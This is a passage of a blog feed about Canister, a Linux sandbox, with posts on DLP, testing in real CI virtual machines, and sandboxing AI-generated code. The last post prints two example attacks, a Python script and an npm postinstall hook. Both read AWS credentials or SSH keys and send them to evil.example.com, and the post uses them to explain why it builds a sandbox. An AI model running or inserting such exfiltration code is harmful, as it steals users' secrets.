&lt;li&gt;&lt;strong&gt;Redact matches everywhere they’re logged.&lt;&#x2F;strong&gt; A DLP layer that writes the secret it just caught into your logs has only moved the leak.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;A caveat worth stating plainly: this is recent, still-evolving code. The detector registry, the encoding chain, and the entropy thresholds are all things I’m actively expanding as new evasion tricks surface, and I won’t pretend the current set is complete or that I’ve found every channel. Treat it as a promising direction I’m still hardening, not a finished guarantee.&lt;&#x2F;p&gt;
&lt;p&gt;The implementation is &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dergraf&#x2F;canister&quot;&gt;Canister&lt;&#x2F;a&gt; (Rust, Apache-2.0); the DLP architecture is written up in &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dergraf&#x2F;canister&#x2F;blob&#x2F;main&#x2F;docs&#x2F;DLP.md&quot;&gt;docs&#x2F;DLP.md&lt;&#x2F;a&gt;. If you want to know where I think it’s still weak and what kind of feedback would help most – especially attempts to slip a secret past it – I wrote that up in a &lt;a href=&quot;https:&#x2F;&#x2F;www.dergraf.org&#x2F;notes&#x2F;canister-an-invitation-to-break-it&#x2F;&quot;&gt;separate note&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Testing a Sandbox on Real VMs in CI</title>
        <published>2026-04-12T00:00:00+00:00</published>
        <updated>2026-04-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.dergraf.org/notes/testing-canister-on-real-vms/"/>
        <id>https://www.dergraf.org/notes/testing-canister-on-real-vms/</id>
        
        <content type="html" xml:base="https://www.dergraf.org/notes/testing-canister-on-real-vms/">&lt;p&gt;A sandbox that doesn’t get tested against the thing it’s defending against isn’t a sandbox. It’s a wish.&lt;&#x2F;p&gt;
&lt;p&gt;Canister relies on Linux kernel features – user namespaces, seccomp BPF, mount isolation – and on Mandatory Access Control systems like SELinux and AppArmor. These are not things you can meaningfully test in a container. Containers share the host kernel. They don’t run their own SELinux policy store. They don’t boot with AppArmor enforcement. They’re the wrong abstraction for verifying that your security tool actually works on the systems where it will run.&lt;&#x2F;p&gt;
&lt;p&gt;So we boot real virtual machines in CI. Every push spins up a Fedora VM with SELinux enforcing and an Ubuntu VM with AppArmor enabled, installs Canister, and runs the full integration suite. This post explains why we made that choice and how it works.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-problem-with-testing-security-features-in-containers&quot;&gt;The problem with testing security features in containers&lt;&#x2F;h2&gt;
&lt;p&gt;Canister’s &lt;code&gt;can setup&lt;&#x2F;code&gt; command installs a MAC policy – an SELinux module on Fedora&#x2F;RHEL, an AppArmor profile on Ubuntu&#x2F;Debian. These policies tell the kernel’s mandatory access control system how to confine sandboxed processes: what files they can access, what capabilities they’re allowed, what domain transitions are permitted.&lt;&#x2F;p&gt;
&lt;p&gt;You can compile-test these policies in a container. We do – there’s a Fedora container job that builds the SELinux &lt;code&gt;.pp&lt;&#x2F;code&gt; module with &lt;code&gt;make -f &#x2F;usr&#x2F;share&#x2F;selinux&#x2F;devel&#x2F;Makefile&lt;&#x2F;code&gt;, and an Ubuntu job that parses the AppArmor profile with &lt;code&gt;apparmor_parser -QTK&lt;&#x2F;code&gt;. These catch syntax errors and policy language mistakes.&lt;&#x2F;p&gt;
&lt;p&gt;But compile-testing a security policy is like type-checking a program. It tells you the policy is well-formed. It does not tell you the policy works. For that, you need a running kernel that enforces it.&lt;&#x2F;p&gt;
&lt;p&gt;Specific things that only show up on a real system:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SELinux domain transitions.&lt;&#x2F;strong&gt; The policy declares that the &lt;code&gt;canister&lt;&#x2F;code&gt; binary should transition sandboxed processes to &lt;code&gt;canister_sandboxed_t&lt;&#x2F;code&gt;. Whether the transition actually happens depends on file contexts, the binary’s label, and the running policy version. A container with a shared host kernel won’t have the right label store.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AppArmor user namespace restrictions.&lt;&#x2F;strong&gt; Ubuntu 24.04 added &lt;code&gt;kernel.apparmor_restrict_unprivileged_userns&lt;&#x2F;code&gt;, which blocks &lt;code&gt;unshare --user&lt;&#x2F;code&gt; unless the calling binary has an AppArmor profile that explicitly allows it. This broke Canister on Ubuntu until we added the right profile rules. You cannot reproduce this in a standard CI container because the sysctl is set by the host kernel, not the container.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Module installation and removal.&lt;&#x2F;strong&gt; &lt;code&gt;semodule -i&lt;&#x2F;code&gt; and &lt;code&gt;semodule -r&lt;&#x2F;code&gt; interact with the system’s policy store. In a container, there is no policy store – you’re looking at the host’s, and you probably don’t have permission to modify it. Same story for &lt;code&gt;aa-enforce&lt;&#x2F;code&gt; and &lt;code&gt;aa-disable&lt;&#x2F;code&gt; on AppArmor.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Namespace stacking.&lt;&#x2F;strong&gt; Canister creates user namespaces, mount namespaces, PID namespaces, and network namespaces. Some CI environments restrict &lt;code&gt;clone(CLONE_NEWUSER)&lt;&#x2F;code&gt; via sysctl or seccomp. GitHub Actions runners, for example, sometimes block unprivileged user namespaces on the host – which is exactly the scenario Canister needs to handle gracefully.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;the-approach-qemu-kvm-inside-github-actions&quot;&gt;The approach: QEMU&#x2F;KVM inside GitHub Actions&lt;&#x2F;h2&gt;
&lt;p&gt;GitHub Actions &lt;code&gt;ubuntu-24.04&lt;&#x2F;code&gt; runners expose &lt;code&gt;&#x2F;dev&#x2F;kvm&lt;&#x2F;code&gt;. This means you can run QEMU with hardware-accelerated virtualization – a real VM, booting a real kernel, with its own policy store and its own MAC enforcement.&lt;&#x2F;p&gt;
&lt;p&gt;The CI pipeline has three layers:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Build job.&lt;&#x2F;strong&gt; Compiles Canister on the GHA runner, packages the binary along with integration tests and recipe files into a tarball, uploads it as a GitHub Actions artifact.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Fedora VM job.&lt;&#x2F;strong&gt; Downloads the Fedora Cloud qcow2 image, boots it with &lt;code&gt;qemu-system-x86_64 -enable-kvm&lt;&#x2F;code&gt;, injects an SSH key via cloud-init, waits for SSH, SCPs the artifact in, installs the SELinux policy, and runs the full integration suite including SELinux-specific tests.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ubuntu VM job.&lt;&#x2F;strong&gt; Same pattern with an Ubuntu Cloud image, AppArmor enforcement, and AppArmor-specific tests.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;The binary is never compiled inside the VM. Rust compilation is expensive; booting a VM and running tests is cheap. The build job takes a few minutes; the VM jobs add about 3-5 minutes each, most of which is image download and VM boot.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;why-not-cirrus-ci&quot;&gt;Why not Cirrus CI?&lt;&#x2F;h3&gt;
&lt;p&gt;We initially considered &lt;a href=&quot;https:&#x2F;&#x2F;cirrus-ci.org&#x2F;&quot;&gt;Cirrus CI&lt;&#x2F;a&gt;, which offers native VM instances. But Cirrus CI’s free tier for public repos requires GCP billing to be enabled, and their compute credits model adds operational friction. GitHub Actions is already there, the runners have KVM, and keeping everything in one CI system is simpler.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;vm-boot-in-30-seconds&quot;&gt;VM boot in 30 seconds&lt;&#x2F;h3&gt;
&lt;p&gt;The trick is cloud images + cloud-init. Fedora and Ubuntu both publish minimal cloud images (qcow2&#x2F;img) designed to boot fast with injected configuration. We generate a cloud-init seed ISO with an SSH key, attach it as a second drive, and boot. The VM is SSH-ready in 30-90 seconds.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Boot Fedora VM
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;|
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;    qemu-system-x86_64 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      -enable-kvm \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      -m 4096 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      -smp 2 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      -nographic \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      -drive file=fedora-work.qcow2,if=virtio \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      -drive file=cloud-init&#x2F;seed.iso,if=virtio,format=raw \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      -netdev user,id=net0,hostfwd=tcp::2222-:22 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      -device virtio-net-pci,netdev=net0 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      &amp;amp;&amp;gt; &#x2F;tmp&#x2F;qemu-fedora.log &amp;amp;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;QEMU user-mode networking with port forwarding (&lt;code&gt;hostfwd=tcp::2222-:22&lt;&#x2F;code&gt;) gives SSH access without bridged networking or elevated privileges.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;caching-the-images&quot;&gt;Caching the images&lt;&#x2F;h3&gt;
&lt;p&gt;Cloud images are 400-700 MB and don’t change between runs. We cache them with &lt;code&gt;actions&#x2F;cache&lt;&#x2F;code&gt;, keyed on the download URL. When a distro version changes, the URL changes, the cache key changes, and the new image gets downloaded and cached. On cache hit, the download step is skipped entirely.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Cache Fedora Cloud image
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;uses&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;actions&#x2F;cache@v4
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;path&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;${{ env.FEDORA_IMAGE }}
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;key&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;vm-image-fedora-${{ env.FEDORA_IMAGE_URL }}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is important because the Fedora mirror redirector can be flaky. Hitting a cache is both faster and more reliable.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-the-integration-tests-verify&quot;&gt;What the integration tests verify&lt;&#x2F;h2&gt;
&lt;p&gt;The integration suite is a collection of bash scripts that exercise the sandbox end-to-end. Each VM job runs the full suite plus MAC-specific tests:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;SELinux tests&lt;&#x2F;strong&gt; (Fedora):&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;can check&lt;&#x2F;code&gt; detects SELinux as the active MAC system&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;can setup --force&lt;&#x2F;code&gt; installs the SELinux policy module&lt;&#x2F;li&gt;
&lt;li&gt;The sandbox runs under SELinux confinement&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;can setup --remove&lt;&#x2F;code&gt; cleanly removes the module&lt;&#x2F;li&gt;
&lt;li&gt;Re-installation works after removal&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;AppArmor tests&lt;&#x2F;strong&gt; (Ubuntu):&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;can check&lt;&#x2F;code&gt; detects AppArmor as the active MAC system&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;can setup --force&lt;&#x2F;code&gt; installs the AppArmor profile&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;aa-status&lt;&#x2F;code&gt; shows the profile as enforced&lt;&#x2F;li&gt;
&lt;li&gt;The sandbox works with the profile active&lt;&#x2F;li&gt;
&lt;li&gt;Profile removal and re-installation cycle works&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;General integration tests&lt;&#x2F;strong&gt; (both VMs):&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Basic sandbox execution (echo, exit codes, signals)&lt;&#x2F;li&gt;
&lt;li&gt;Filesystem isolation (read-only mounts, denied paths)&lt;&#x2F;li&gt;
&lt;li&gt;Network isolation (allowed&#x2F;denied domains)&lt;&#x2F;li&gt;
&lt;li&gt;Seccomp filtering (normal and strict mode)&lt;&#x2F;li&gt;
&lt;li&gt;Recipe composition and auto-detection&lt;&#x2F;li&gt;
&lt;li&gt;Registry operations (&lt;code&gt;can init&lt;&#x2F;code&gt;, &lt;code&gt;can update&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;Port forwarding&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The non-MAC tests also run on the GHA runner directly (without a VM) as a faster feedback loop. But the full picture – MAC enforcement, namespace behavior, policy lifecycle – only comes from the VM jobs.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;constraints-and-tradeoffs&quot;&gt;Constraints and tradeoffs&lt;&#x2F;h2&gt;
&lt;p&gt;A few decisions worth explaining:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;No third-party GitHub Actions.&lt;&#x2F;strong&gt; We only use first-party &lt;code&gt;actions&#x2F;*&lt;&#x2F;code&gt; (checkout, cache, upload-artifact, download-artifact). Third-party actions are a supply chain risk, and for a security tool, that matters.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;No Rust compilation inside VMs.&lt;&#x2F;strong&gt; The VMs have 4 GB RAM and 2 vCPUs. Rust compilation would be slow and wasteful. The artifact-based approach means we compile once and test on multiple targets.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;20-minute timeout.&lt;&#x2F;strong&gt; VM jobs have a hard timeout. If the VM doesn’t boot, SSH doesn’t come up, or tests hang, the job fails rather than burning CI minutes.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Non-interactive setup.&lt;&#x2F;strong&gt; &lt;code&gt;can setup&lt;&#x2F;code&gt; detects whether stdout is a TTY. In the VM (accessed via SSH with piped commands), it’s not a TTY, so the interactive confirmation prompt is skipped automatically. No &lt;code&gt;--yes&lt;&#x2F;code&gt; flag needed.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-we-learned&quot;&gt;What we learned&lt;&#x2F;h2&gt;
&lt;p&gt;Some things that only surfaced through real VM testing:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Fedora 41 images disappeared.&lt;&#x2F;strong&gt; We initially targeted Fedora 41. Between writing the CI config and running it, Fedora 42 was released and 41’s cloud images were pulled from every mirror. CI broke with 404s. We upgraded to Fedora 42. Pinning to a “current” release URL would avoid this, but Fedora’s convention is versioned paths.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;semodule -l&lt;&#x2F;code&gt; needs root on Fedora 42.&lt;&#x2F;strong&gt; Listing custom SELinux modules without &lt;code&gt;sudo&lt;&#x2F;code&gt; silently returns an incomplete list. The module is loaded and enforced, but &lt;code&gt;semodule -l&lt;&#x2F;code&gt; as a regular user doesn’t show it.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;git&lt;&#x2F;code&gt; is not pre-installed in cloud images.&lt;&#x2F;strong&gt; The registry tests shell out to &lt;code&gt;git clone&lt;&#x2F;code&gt;. Fedora Cloud and Ubuntu Cloud images don’t include git by default. The error message was &lt;code&gt;&quot;failed to run git&quot;&lt;&#x2F;code&gt; rather than something about cloning, which made it non-obvious.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ubuntu 24.04 restricts unprivileged user namespaces via AppArmor.&lt;&#x2F;strong&gt; The sysctl &lt;code&gt;kernel.apparmor_restrict_unprivileged_userns&lt;&#x2F;code&gt; defaults to 1. This means &lt;code&gt;unshare --user&lt;&#x2F;code&gt; fails unless the binary has an AppArmor profile that explicitly grants &lt;code&gt;userns create&lt;&#x2F;code&gt;. We relax this sysctl in CI, then install the proper profile.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Recipes must ship with the test artifact.&lt;&#x2F;strong&gt; Canister resolves recipe names like &lt;code&gt;--recipe elixir&lt;&#x2F;code&gt; by searching &lt;code&gt;.&#x2F;recipes&#x2F;&lt;&#x2F;code&gt; relative to the working directory. The test artifact initially only included the binary and test scripts. Recipe composition tests failed until we added the &lt;code&gt;recipes&#x2F;&lt;&#x2F;code&gt; directory.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Every one of these issues was invisible in container-based testing. They all showed up the first time we booted a real VM.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;is-it-worth-it&quot;&gt;Is it worth it?&lt;&#x2F;h2&gt;
&lt;p&gt;The VM-based integration jobs add about 5 minutes to CI. In exchange, we know – on every push – that Canister installs its security policy, enforces it, and cleans it up on both major Linux MAC systems. That the sandbox actually creates namespaces on a real kernel. That the full lifecycle works, not just the happy path.&lt;&#x2F;p&gt;
&lt;p&gt;For a security tool, I think that’s the minimum bar. If you’re telling users “this will protect you,” you’d better be testing the protection, not just the code.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>We Are Blindly Executing AI-Generated Code</title>
        <published>2026-04-09T00:00:00+00:00</published>
        <updated>2026-04-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.dergraf.org/notes/canister-sandboxing-ai-generated-code/"/>
        <id>https://www.dergraf.org/notes/canister-sandboxing-ai-generated-code/</id>
        
        <content type="html" xml:base="https://www.dergraf.org/notes/canister-sandboxing-ai-generated-code/">&lt;p&gt;Last week I asked an AI to write a Python script that processes CSV files. The code looked reasonable. It imported &lt;code&gt;os&lt;&#x2F;code&gt;, &lt;code&gt;subprocess&lt;&#x2F;code&gt;, and &lt;code&gt;urllib&lt;&#x2F;code&gt;. It worked. I shipped it.&lt;&#x2F;p&gt;
&lt;p&gt;Later I re-read it and noticed it was shelling out to &lt;code&gt;curl&lt;&#x2F;code&gt; to fetch a dependency at runtime – a URL I never verified. The script also had full read access to my home directory, my SSH keys, my AWS credentials. If that &lt;code&gt;curl&lt;&#x2F;code&gt; target had been poisoned, everything on my machine was fair game.&lt;&#x2F;p&gt;
&lt;p&gt;This is the new normal. We generate code faster than we audit it, and we execute it with the full privileges of our user account.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-problem-is-not-ai-the-problem-is-trust-assumptions&quot;&gt;The problem is not AI. The problem is trust assumptions.&lt;&#x2F;h2&gt;
&lt;p&gt;When you run &lt;code&gt;python3 script.py&lt;&#x2F;code&gt; or &lt;code&gt;npm install&lt;&#x2F;code&gt;, the process inherits everything: your filesystem, your network, your environment variables, your API tokens. This was already a bad idea with code you wrote yourself. With AI-generated code, it gets worse.&lt;&#x2F;p&gt;
&lt;p&gt;Consider what a malicious or confused script can do:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Exfiltrate credentials
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;urllib.request, os
&lt;&#x2F;span&gt;&lt;span&gt;token = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(os.path.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;expanduser&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;~&#x2F;.aws&#x2F;credentials&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;urllib.request.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;urlopen&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;https:&#x2F;&#x2F;evil.example.com&#x2F;collect?d=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; + token)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; postinstall.js -- runs automatically on npm install
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span&gt;{ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;execSync &lt;&#x2F;span&gt;&lt;span&gt;} = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;require&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;child_process&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;fs &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;require&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;fs&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;keys &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;fs&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;readFileSync&lt;&#x2F;span&gt;&lt;span&gt;(`&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;${process.env.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;}&#x2F;.ssh&#x2F;id_ed25519&lt;&#x2F;span&gt;&lt;span&gt;`, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;utf8&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;execSync&lt;&#x2F;span&gt;&lt;span&gt;(`&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;curl -s https:&#x2F;&#x2F;evil.example.com&#x2F;collect -d &amp;#39;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;}&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;`);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Neither of these require root. Neither trigger any OS warning. Both execute with your full user permissions the moment you hit Enter.&lt;&#x2F;p&gt;
&lt;p&gt;The standard advice – “review the code carefully” – does not scale. A single &lt;code&gt;pip install&lt;&#x2F;code&gt; pulls in dozens of transitive dependencies. An &lt;code&gt;npm install&lt;&#x2F;code&gt; can execute hundreds of postinstall scripts. AI-generated code compounds this: the volume of code you did not write but are responsible for running has increased by an order of magnitude.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-would-safe-by-default-look-like&quot;&gt;What would “safe by default” look like?&lt;&#x2F;h2&gt;
&lt;p&gt;Ideally, the sandboxed process would see an empty filesystem except for paths you explicitly allow. No network access unless you whitelist specific domains. No arbitrary binary execution. No secret environment variables leaking in. And outside the current working directory, filesystem writes discarded.&lt;&#x2F;p&gt;
&lt;p&gt;This is the question I started exploring with &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dergraf&#x2F;canister&quot;&gt;Canister&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-experiment&quot;&gt;The experiment&lt;&#x2F;h2&gt;
&lt;p&gt;I couldn’t resist tackling this over the holidays. Canister (&lt;code&gt;can&lt;&#x2F;code&gt;) is a Rust project exploring how far you can push lightweight, unprivileged sandboxing on Linux. The idea: combine user namespaces, mount isolation, seccomp BPF, and network namespaces into a single binary that requires no root and no container runtime.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ can run --recipe recipes&#x2F;python-pip.toml -- python3 untrusted_script.py
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The script runs in a mount namespace with an ephemeral overlay filesystem. It sees only the paths declared in the recipe. It can only reach whitelisted domains. It is blocked from dangerous syscalls. The current working directory is bind-mounted writable, but everything else is either read-only or not mounted at all.&lt;&#x2F;p&gt;
&lt;p&gt;There are existing tools in this space – Docker, Firejail, Bubblewrap, &lt;code&gt;nsjail&lt;&#x2F;code&gt; – each with different tradeoffs. I was specifically interested in something that fits the AI-coding workflow: you have a script or build command from a source you don’t fully trust, and you want to run it with minimal privileges, right now, without writing a Dockerfile or setting up infrastructure. Whether Canister actually hits that sweet spot is something I’m still figuring out.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;a-concrete-python-example&quot;&gt;A concrete Python example&lt;&#x2F;h3&gt;
&lt;p&gt;Say an AI generates a data-processing script and you want to run it with some guardrails:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# my-analysis.toml
&lt;&#x2F;span&gt;&lt;span&gt;[filesystem]
